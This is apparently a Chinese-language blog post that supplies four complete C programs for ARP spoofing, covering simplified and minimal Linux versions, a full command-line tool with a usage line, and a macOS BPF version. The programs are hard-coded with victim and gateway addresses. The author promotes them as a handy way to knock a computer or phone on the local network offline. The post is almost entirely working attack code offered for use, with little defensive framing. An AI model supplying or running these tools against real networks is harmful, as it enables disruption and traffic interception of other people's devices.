linux系统， 简化版的ARP欺骗工具
最近刚好在看linux系统socket相关的API， 刚好看到ARP相关的接口，就想到了arp欺骗， 以下为arp报文的数据结构
我这边所用原始的C++ 实现了一个ARP欺骗， 没有很多代码， 只要把准备好的数据， 发送给到网卡接口， 利用这个小工具， 也可以让局域网内的一台计算机或者移动设备暂时掉线， 很好用谁试谁知道：
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <memory.h>
#include <net/ethernet.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <sys/ioctl.h>
#include <bits/ioctls.h>
#include <string.h>
//int 4字节
//shor 2字节
//char 1字节
struct ARP_header
{
unsigned short Hardware ;
unsigned short Protocol ;
unsigned char HardwareAddressLen ;
unsigned char ProtocolAddressLeng ;
unsigned short Operation ;
unsigned char SourceHardareAddr[6] ;
unsigned char SourceProtocolAddr[4] ;
unsigned char TargetHardareAddr[6] ;
unsigned char TargetProtocolAddr[4] ;
};
int main( int argc, char * argv[]) {
//网卡名字， 这个要改成你自己计算机的网卡名
unsigned char NetInterface[16] = "wlp3s0";
struct ARP_header arp_sp;
arp_sp.Hardware = htons(1);
arp_sp.Protocol = htons(2048);
arp_sp.HardwareAddressLen = 6;
arp_sp.ProtocolAddressLeng = 4;
arp_sp.Operation = htons(2);
unsigned char EthernetFrame[64] = {0};
bzero(EthernetFrame, 64);
//假数据， 发送伪造的IP地址和MAC
unsigned char Spoofing_MAC[6] = {0};
unsigned char Spoofing_IP[4] = {192&0Xff,168&0Xff,1&0Xff,1&0XFF};
//目标的地址和目标的MAC
unsigned char Target_MAC[6] = { 0Xd0, 0X7e, 0X35, 0X0a, 0Xef, 0Xd3};
unsigned char Target_IP[4] = {192&0Xff,168&0Xff,1&0Xff,109&0Xff};
//本机的IP地址和MAC地址
unsigned char Source_MAC[6] = {0Xe0,0Xac,0Xcb,0X86,0Xfb,0X1e};
unsigned char Source_IP[4] = {192&0Xff,168&0Xff,1&0Xff,103&0Xff};
//ARP内容
memcpy(arp_sp.SourceHardareAddr, Spoofing_MAC, sizeof(char)*6);
memcpy(arp_sp.SourceProtocolAddr, Spoofing_IP, sizeof(char)*4);
memcpy(arp_sp.TargetHardareAddr, Target_MAC, sizeof(char)*6);
memcpy(arp_sp.TargetProtocolAddr, Target_IP, sizeof(char)*4);
//以太网头部
memcpy(EthernetFrame, Target_MAC, sizeof(char)*6);
memcpy(EthernetFrame+6, Source_MAC, sizeof(char)*6);
EthernetFrame[12] = ETH_P_ARP / 256;
EthernetFrame[13] = ETH_P_ARP % 256;
//以太网头部和ARP数据连接起来
memcpy(EthernetFrame+14, &arp_sp, sizeof(char)*28);
int ARPSocket;
printf("Create Raw Socket");
ARPSocket = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if( ARPSocket < 0 ) {
perror("socket failed");
exit(1);
}
//获取设备
struct sockaddr_ll device;
device.sll_ifindex = if_nametoindex((const char*)NetInterface);
if( device.sll_ifindex == 0 ) {
perror("sockaddr_ll error");
exit(1);
}
printf("Index of interface %s is %d",NetInterface, device.sll_ifindex);
device.sll_halen = htons(6);
device.sll_family = AF_PACKET;
int i = 0;
//连续发送100次
for( i; i<100; i++) {
int sFd = sendto(ARPSocket, EthernetFrame, 42, 0, (struct sockaddr*)&device, sizeof(device));
if( sFd <=0 ) {
perror("sendto failed");
exit(1);
}
sleep(1);
}
close(ARPSocket);
}
极简的arp欺骗源码：
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netinet/ether.h>
#include <netpacket/packet.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <net/if.h>
#include <pthread.h>
int main ( int argc, char *argv[] ) {
int sock_raw_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
while(1) {
unsigned char send_msg[1024] = {
//targetMAC
0x00, 0x0c, 0x29, 0x27, 0x59, 0x68,
//myMAC
0x00, 0x0c, 0x29, 0xeb, 0x89, 0xcb,
//ARP
0x08,0x06,
0x00, 0x01, 0x08, 0x00,
0x06, 0x04, //mac length , ip length
0x00, 0x02, //arp response
0x00, 0x0c, 0x29, 0xeb, 0x89, 0xcb, //my mac
192, 168, 1, 5, //be fake IP address
0x00, 0x0c, 0x29, 0x37, 0x59, 0x68, // targetMAC
192, 168, 1, 2
};
struct sockaddr_ll sll;
struct ifreq ethreq;
strncpy( ethreq.ifr_name, "wlan0" ,IFNAMSIZ);
ioctl(sock_raw_fd, SIOCGIFINDEX, (char*)ðreq);
bzero(&sll, sizeof(sll));
sll.sll_ifindex = ethreq.ifr_ifindex;
sendto(sock_raw_fd, send_msg, 42, 0 , (struct sockaddr *)&sll, sizeof(sll));
sleep(3);
}
return 0;
}
linux的Arp欺骗源码
网上一搜， 刚好github这边有一个arp欺骗开源项目 ，基于C语言， 也有提供arp欺骗的源码， 使用方法和项目地址在文章最后：
/* Copyright (C) 2013-2016 Vegetable avenger (r7418529@gmail.com)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/*
BUG list:
1. using unlink interface to send pakcet , may cause an error
2. -P flag unuse
*/
/*
Version 1.0 : Basic ARP Spoofing function
Version 1.1 : Add Control Operatior (-t , -s)
Version 1.2 : Add -i Control Operator ,
Update Localhost IP/MAC information fetch function ,
Enhance -t Operator , add ARP table lookup capability .
*/
// Send an IPv4 ARP Spoofing packet via raw socket
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>
#include <bits/ioctls.h>
#include <net/if.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <errno.h>
//--------------------------------------------------------------------------
// the color of printf
#define P_NONE "\033[m"
#define P_RED "\033[0;32;31m"
#define P_GREEN "\033[0;32;32m"
//--------------------------------------------------------------------------
// ARP header
struct ARP_header
{
unsigned short Hardware ;
unsigned short Protocol ;
unsigned char HardwareAddressLen ;
unsigned char ProtocolAddressLeng ;
unsigned short Operation ;
unsigned char SoruceHardareAddr[6] ;
unsigned char SourceProtocolAddr[4] ;
unsigned char TargetHardareAddr[6] ;
unsigned char TargetProtocolAddr[4] ;
};
//--------------------------------------------------------------------------
// system flag
int Pass_flag =0 ; // -P , pass data format resolution check
int I_flag =0 ; // -i , interface flag
int S_flag =0 ; // -s , spoofing
int T_flag =0 ; // -t , Target IP flag
//--------------------------------------------------------------------------
// **************************************
// MAC address format check function
// **************************************
//
// this function work for check MAC address format
// it return 1 for match format , otherwise 0 for failed .
static int MAC_FormatCheck(char * argv)
{
if(strlen(argv) !=17)
goto FormatError ;
else
{
for(int i=0 ; i<6 ;i++)
{
char num1 =*(argv+i*3) ;
char num2 =*(argv+i*3+1) ;
char dot =*(argv+i*3+2) ;
if(i<5 && dot !=':') //last set no :
goto FormatError ;
if(!((num1 >='a' || num1 <='e') ||
(num1 >='A' || num1 <='E') ||
(num1 >='0' || num1 <='9')) ||
!((num2 >='a' || num2 <='e') ||
(num2 >='A' || num2 <='E') ||
(num2 >='0' || num2 <='9')))
goto FormatError ;
}
}
return 1 ;
FormatError :
return 0;
}
//--------------------------------------------------------------------------
// ***************************************
// MAC format tramsform(Danger function)
// ***************************************
//
// this function work for transform MAC data to decimal ,
// argc is two byte character data ,
// per MAC data call this function six times .
static int MAC_SubFormatTransform(char * argv)
{
char num1 =*(argv) ;
char num2 =*(argv+1) ;
int ret =0;
if(num1 <='9') ret +=(num1-'0') *16 ;
else if(num1 <='e') ret +=(num1-'a' +10) *16 ;
else if(num1 <='E') ret +=(num1-'A' +10) *16 ;
if(num2 <='9') ret +=(num2-'0') ;
else if(num2 <='e') ret +=(num2-'a' +10) ;
else if(num2 <='E') ret +=(num2-'A' +10) ;
return ret ;
}
//--------------------------------------------------------------------------
// ********************************
// Argument s resolution function
// *********************************
//
// this function work for Resolution -s operator ,
// it will return 1 for success , and 0 for faile ,
// if resolution success , Ret_IP and Ret_MAC will be Ethernet packet format due to argv .
static int Arg_s_Resolution(char *argv ,char *Ret_IP ,char *Ret_MAC)
{
char IP_s[16] ="";
char MAC_s[18] ="";
int IP_i =0;
int MAC_i =0;
int slash =0;
int argvLen = strlen(argv);
unsigned int tSpoofing_IP =-1 ;
// devide argv in two part , IP and MAC , devided by '/'
for(int i=0 ;i<argvLen ;i++)
{
if(*(argv+i) == '/' && slash==0) // chech slash find or not
slash =1;
else if(slash == 0) // save IP data
{
if(IP_i==15) // Error : IPv4 IP formate max 14 character ,OOO.OOO.OOO.OOO
goto ResError ;
IP_s[IP_i]= *(argv+i) ;
IP_i ++ ;
}
else if(slash == 1) // save MAC data
{
if(MAC_i==17) // Error : MAC formate max 17 character ,XX:XX:XX:XX:XX:XX
goto ResError ;
MAC_s[MAC_i]= *(argv+i) ;
MAC_i ++ ;
}
else
goto ResError ;
}
// resolution IP to ethernet format
tSpoofing_IP = inet_addr(IP_s);
if(tSpoofing_IP ==-1)
goto ResError ;
memcpy(Ret_IP , &tSpoofing_IP ,sizeof(int));
// resolution MAC to ethernet format
if(MAC_FormatCheck(MAC_s)==0)
goto ResError ;
for(int i=0 ; i<6 ;i++)
{
Ret_MAC[i] = MAC_SubFormatTransform(&MAC_s[i*3]) ;
}
return 1;
ResError :
memset(Ret_IP ,0 ,sizeof(char)*15);
memset(Ret_MAC ,0 ,sizeof(char)*17);
return 0 ;
}
//--------------------------------------------------------------------------
// **********************************
// Get Localhost Interface information
// **********************************
//
// get localhost MAC and IP via iface
int getInterfaceInfo(unsigned char * iface ,unsigned char *local_IP ,unsigned char *local_MAC )
{
// Get MAC address
char tMAC[18]="";
char ifPath[256]="/sys/class/net/";
strcat(ifPath ,(char*)iface);
strcat(ifPath ,"/address");
FILE *if_f =fopen(ifPath , "r");
if(if_f == NULL)
return 0 ;
else
{
fread(tMAC ,1 ,17 ,if_f); //read MAC from /sys/class/net/iface/address
fclose(if_f) ;
for(int i=0 ; i<6 ;i++) // confirm data to local_MAC
{
*(local_MAC+i) = MAC_SubFormatTransform(&tMAC[i*3]) ;
}
}
// Get IP address
// using ioctrl to get local IP ,
// it may not bt an best way to achive that , i still search another way
int fd;
struct ifreq ifr;
in_addr tIP ;
fd = socket(AF_INET, SOCK_DGRAM, 0); //using ioctl get IP address
ifr.ifr_addr.sa_family = AF_INET;
strcpy(ifr.ifr_name , (char*)iface);
ioctl(fd, SIOCGIFADDR, &ifr);
close(fd);
tIP =((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr;
memcpy((char*)local_IP , &tIP ,sizeof(in_addr));
return 1;
}
//--------------------------------------------------------------------------
// ************************************
// Fetch Localhosdt ARP table
// ************************************
// find IP or MAC from localhost arp table ,
#define FETCH_ARP_TABLE_ERROR 0x0000 // could not access localhost ARP table
#define FETCH_ARP_TABLE_SUCCESS 0x0001 // find ARP entry
#define FETCH_ARP_TABLE_UNKNOW 0x0002 // ARP entry unknow or empty
int FetchARPTable(char * TargetIP , char * TargetMAC)
{
// ARP table at /proc/net/arp
int ret =FETCH_ARP_TABLE_UNKNOW;
FILE *ARP_f =fopen("/proc/net/arp" , "r");
if(ARP_f == NULL)
{
ret =FETCH_ARP_TABLE_ERROR;
}
else
{
// pass title
char Title[100] ; //file title , pass that
fgets(Title ,100 ,ARP_f);
char t_IP[15] ;
char t_HW_type[8] ;
char t_Flags[8] ;
char t_MAC[17] ;
char t_Mask[5] ;
char t_Device[16] ;
while(!feof(ARP_f)) //search arp table
{
fscanf(ARP_f ,"%s %s %s %s %s %s",t_IP,t_HW_type,t_Flags,t_MAC,t_Mask,t_Device);
if(strcmp(t_IP ,TargetIP)==0 &&
strcmp(t_Flags ,"0x2")==0)
{
//printf("%s|%s|%s|%s|%s|%s\n",t_IP,t_HW_type,t_Flags,t_MAC,t_Mask,t_Device) ; // if you want to look data , unmark that
ret =FETCH_ARP_TABLE_SUCCESS;
// copy data to Target_MAC
for(int i=0 ; i<6 ;i++)
{
*(TargetMAC+i) = MAC_SubFormatTransform(&t_MAC[i*3]) ;
}
break ;
}
}
fclose(ARP_f);
}
return ret ;
}
//--------------------------------------------------------------------------
// ********************
// ARP spoofing main
// ********************
int main(int argc, char* argv[])
{
unsigned char NetInterface[16] ="eth0";
unsigned char Target_IP[4] ={0}; // Target IP
unsigned char Soruce_IP[4] ={0}; // localhost IP
unsigned char Spoofing_IP[4] ={0}; // Spoofing IP
unsigned char Target_MAC[6] ={0}; // TargetMAC , this value will lookup ARP table
unsigned char Soruce_MAC[6] ={0}; // localhost MAC;
unsigned char Spoofing_MAC[6] ={0}; // spoofing MAC
unsigned char EthernetFrame[64] ={0}; // ethernet frame
int opt;
// opterr =0; // disable getopt error message
while((opt=getopt(argc, argv, "Pi:t:s:")) != -1)
{
switch(opt)
{
case 'i': // interface
{
int iLen =strlen(optarg);
if(iLen<16)
{
char ifPath[256]="/sys/class/net/";
strcat(ifPath ,optarg);
strcat(ifPath ,"/address");
struct stat buf;
if(stat(ifPath,&buf) == 0)
{
I_flag =1 ;
memcpy(NetInterface , optarg ,sizeof(char)*iLen);
}
else
printf(P_RED "Error" P_NONE ": Unknow interface : [" P_GREEN "%s" P_NONE "]\n",optarg);
}
else
printf(P_RED "Error" P_NONE ": Interface identify size unmatch , please fix source code\n");
}
break ;
case 't': // target IP
{
// check IP format
unsigned int tTarget_IP = inet_addr(optarg);
if(tTarget_IP !=-1)
{
// Get target MAC from ARP table
if(FetchARPTable((char*)optarg ,(char*)Target_MAC)==FETCH_ARP_TABLE_SUCCESS)
{
memcpy(Target_IP , &tTarget_IP ,sizeof(int));
T_flag =1 ;
}
else
printf(P_RED "Error" P_NONE ": Target IP [" P_GREEN "%s" P_NONE "] ,ARP table lookup failed \n",optarg);
}
else
printf(P_RED "Error" P_NONE ": Target IP [" P_GREEN "%s" P_NONE "] ,format resolution failed \n",optarg);
}
break ;
case 's': // spoofing IP and mac
{
if(Arg_s_Resolution(optarg ,(char*)&Spoofing_IP[0] ,(char*)&Spoofing_MAC[0] )==0)
printf(P_RED "Error" P_NONE ": Spoofing data resolution failed\n");
else
S_flag =1;
}
break;
case 'P':
{
Pass_flag =1;
}
break ;
default :
printf(P_RED "Error" P_NONE ":Unkonw Argument\n!");
break ;
}
}
// chech flag
if(I_flag ==0 ||
S_flag ==0 ||
T_flag ==0 ||
getInterfaceInfo(NetInterface , Soruce_IP ,Soruce_MAC) == 0) // Get localhost IP and MAC
{
printf("ARP_Spoofing Error\n");
exit(-1);
}
// set ARP header
ARP_header ARP_Spoofing ;
ARP_Spoofing.Hardware = htons (1);
ARP_Spoofing.Protocol = htons (2048);
ARP_Spoofing.HardwareAddressLen = 6;
ARP_Spoofing.ProtocolAddressLeng =4 ;
ARP_Spoofing.Operation = htons(2);
memcpy(ARP_Spoofing.SoruceHardareAddr ,Spoofing_MAC ,sizeof(char)*6);
memcpy(ARP_Spoofing.SourceProtocolAddr ,Spoofing_IP ,sizeof(char)*4);
memcpy(ARP_Spoofing.TargetHardareAddr ,Target_MAC,sizeof(char)*6);
memcpy(ARP_Spoofing.TargetProtocolAddr ,Target_IP ,sizeof(char)*4);
memcpy(EthernetFrame ,Target_MAC ,sizeof(char)*6);
memcpy(EthernetFrame+6 ,Soruce_MAC ,sizeof(char)*6);
EthernetFrame[12] = ETH_P_ARP / 256;
EthernetFrame[13] = ETH_P_ARP % 256;
// copy ARP header to ethernet packet
memcpy (EthernetFrame + 14, &ARP_Spoofing, sizeof (char)*28);
/*------------------------------------------*/
int ARPSocket ;
// create socket
printf("Create RAW Socket ... ");
if( (ARPSocket = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL) )) <0)
{
printf("%s",strerror(errno));
printf("%d\n", ARPSocket);
printf("Faile\n");
exit(-1);
}
printf("Successfully\n");
// Get Interface ibdex
struct sockaddr_ll device;
if ((device.sll_ifindex = if_nametoindex ((const char*)NetInterface)) == 0)
{
printf("if_nametoindex() failed to obtain interface index ");
exit (EXIT_FAILURE);
}
printf ("Index for interface %s is %i\n", "eth0", device.sll_ifindex);
device.sll_family = AF_PACKET;
device.sll_halen = htons (6);
int i = 0;
for(i; i<100; i++) {
printf("send %d", i);
if (sendto (ARPSocket, EthernetFrame, 42, 0, (struct sockaddr *) &device, sizeof (device)) <= 0)
{
perror ("sendto() failed");
exit (EXIT_FAILURE);
}
sleep(1);
}
// close socket
close(ARPSocket);
// free data
printf("finish\n");
}
所用方法为：
sudo ./arpspoof -t 192.168.0.116 -s 192.168.0.6/EE:EE:EE:EE:EE:EE -i wlp3s0
Mac的Arp欺骗源码
我的系统为Mac， 也有Mac系统arp欺骗的代码， 这个亲测可行， 和linux上面有点区别的是需要ioctl将bpf与网络接口进行绑定， 而且我也假设网卡的名字是en0， 在被攻击的机器上面使用wireshark可以监听到这个arp请求 ：
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/ioctl.h>
#include <net/bpf.h>
#include <sys/socket.h>
#include <net/if.h>
#include <unistd.h>
#include <fcntl.h>
#include <net/ethernet.h>
#include <netinet/if_ether.h>
#include <arpa/inet.h>
//const items
#define DEV_PLEN 12 //device path length, 设备路径长度。比如"/dev/bpf255"，最长11个字节加最后一位终止符，共12字节
const char INTERFACE[] = "en0";
const u_char TARGET_MAC[] = {0xd0,0x7e,0x35,0x0a,0xef,0xd3}; //victim's mac
const u_char SOURCE_MAC[] = {0xbb,0xbb,0xbb,0xbb,0xbb,0xbb}; //attacker's mac
const u_char TARGET_IP[] = {192,168,1,109}; //victim's ip
const u_char SOURCE_IP[] = {192,168,1,1}; //gateway's ip, 这里也一样，因为我们要假装是网关，所以用网关的ip
//main function
int main(int argc, char **argv) {
int bpf = -1;
int devno = 0;
char dev[DEV_PLEN];
u_char frame[42];
//create arp frame -- 与之前相同，创建一个42字节长的arp帧
struct ether_header ehead;
struct ether_arp earp;
memcpy(ehead.ether_dhost, TARGET_MAC, ETHER_ADDR_LEN);
memcpy(ehead.ether_shost, SOURCE_MAC, ETHER_ADDR_LEN);
ehead.ether_type = htons(ETHERTYPE_ARP);
earp.arp_hrd = htons(ARPHRD_ETHER);
earp.arp_pro = htons(ETHERTYPE_IP);
earp.arp_hln = ETHER_ADDR_LEN;
earp.arp_pln = 4;
earp.arp_op = htons(ARPOP_REPLY);
memcpy(earp.arp_sha, SOURCE_MAC, ETHER_ADDR_LEN);
memcpy(earp.arp_spa, SOURCE_IP, 4);
memcpy(earp.arp_tha, TARGET_MAC, ETHER_ADDR_LEN);
memcpy(earp.arp_tpa, TARGET_IP, 4);
memcpy(frame, &ehead, sizeof(ehead));
memcpy(frame + sizeof(ehead), &earp, sizeof(earp));
printf("* ARP frame created.\n");
printf("%d\n",bpf);
// find available bpf device -- 找到空闲的bpf设备
while(bpf < 0) {
snprintf(dev, DEV_PLEN, "/dev/bpf%d", devno);
bpf = open(dev, O_WRONLY);
++devno;
if(devno > 255) {
printf("/dev/bpf* full.\n");
exit(EXIT_FAILURE);
}
}
printf("* /dev/bpf%d available.\n", --devno);
// bound bpf to an interface -- 通过ioctl将bpf与网络接口进行绑定
struct ifreq boundif;
strncpy(boundif.ifr_name, INTERFACE, strlen(INTERFACE));
if(ioctl(bpf, BIOCSETIF, &boundif) < 0) {
perror("ioctl() failed");
close(bpf);
exit(EXIT_FAILURE);
}
printf("* Interface %s bound.\n", INTERFACE);
// write to bpf -- 直接写入bpf即可发送，因为arp帧的头部已经包含了目标地址信息
if(write(bpf, frame, sizeof(frame)) < 0) {
perror("write() failed");
close(bpf);
exit(EXIT_FAILURE);
}
printf("* Done write to bpf.\n");
close(bpf);
return 0;
}
参考：
linux，源码的地址： github
MacArp欺骗源码地址：https://lngost.github.io/pages/articles/tech/ARP-Packet-By-c/arp-packet-by-c.html
天道酬勤
